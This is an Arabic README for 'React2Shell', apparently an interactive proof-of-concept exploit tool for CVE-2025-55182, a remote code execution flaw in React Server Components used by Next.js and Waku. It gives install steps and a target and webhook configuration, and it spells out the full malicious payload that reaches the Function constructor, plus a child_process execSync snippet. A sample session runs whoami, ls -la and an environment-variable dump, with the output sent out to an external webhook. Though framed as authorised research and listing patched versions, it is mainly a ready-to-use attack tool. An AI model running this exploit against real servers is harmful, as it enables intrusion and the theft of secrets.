React2Shell - CVE-2025-55182 إثبات مفهوم تفاعلي

صدفة تفاعلية لاستغلال CVE-2025-55182، وهي ثغرة تنفيذ كود عن بُعد في React Server Components.

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرّح بها فقط.

• استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
• المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة
• هذا إثبات مفهوم لأغراض البحث الأمني والتوعية

نظرة عامة على الثغرة

CVE-2025-55182 يؤثر على React Server Components (RSC) في:

• Next.js < 15.1.7, < 14.2.29, < 13.5.9
• Waku (إصدارات متعددة)

تسمح الثغرة بتنفيذ كود عن بُعد (RCE) عبر حمولات خبيثة تُرسَل إلى Server Actions.

كيف تعمل

1. يستخدم بروتوكول RSC صيغة $@x للإشارة إلى كائنات Chunk الداخلية
2. تقوم JavaScript تلقائيًا بفكّ تغليف الكائنات التي تحتوي على دوال .then() (شبيهة بـ Promise)
3. من خلال صياغة حمولة خبيثة بخصائص _response و_formData و_prefix مُتحكَم بها
4. يمكن للمهاجم الوصول إلى مُنشئ Function عبر التنقل في سلسلة النموذج الأولي (prototype chain)
5. وهذا يتيح تنفيذ JavaScript عشوائيًا على الخادم

$3:constructor:constructor → Function constructor → RCE

التثبيت

git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

الإعدادات

عدّل exploit.js وحدّث هذه القيم:

const TARGET_URL = 'http://localhost:3000/'          // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Your webhook URL

احصل على webhook مجاني من: https://webhook.site

الاستخدام

node exploit.js

الأوامر

مثال لجلسة استخدام

react2shell> !test
[+] Sent! Check webhook

react2shell> whoami
[+] Sent: whoami

react2shell> ls -la
[+] Sent: ls -la

react2shell> !env
[+] Sent! Check webhook for env vars

تظهر النتائج على الـ webhook الخاص بك، وليس في الطرفية.

التفاصيل التقنية

بنية الحمولة

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

تدفق التنفيذ

1. تُرسل الحمولة كبيانات نموذج متعددة الأجزاء (multipart form data) مع ترويسة next-action
2. يقوم محلل React Flight بمعالجة القطع (chunks)
3. يُنشئ $@3 مرجعًا إلى Chunk
4. يتنقل $3:constructor:constructor إلى Function
5. يتم تمرير محتوى _prefix إلى Function() وتنفيذه

ملاحظات لـ Next.js 15+

• يستخدم وحدات ESM، لذا فإن require() غير متاح
• استخدم import() الديناميكي بدلاً من ذلك:

import("child_process").then(cp => cp.execSync("whoami"))

الإصدارات المُصحَّحة

حدّث إلى هذه الإصدارات لإصلاح الثغرة:

• Next.js >= 15.1.7
• Next.js >= 14.2.29
• Next.js >= 13.5.9

المراجع

• الموقع الرسمي لـ React2Shell
• إضافة ماسح Google Tsunami

الترخيص

رخصة MIT - لأغراض تعليمية فقط.

المؤلف

إثبات مفهوم لأبحاث أمنية - استخدمها بمسؤولية.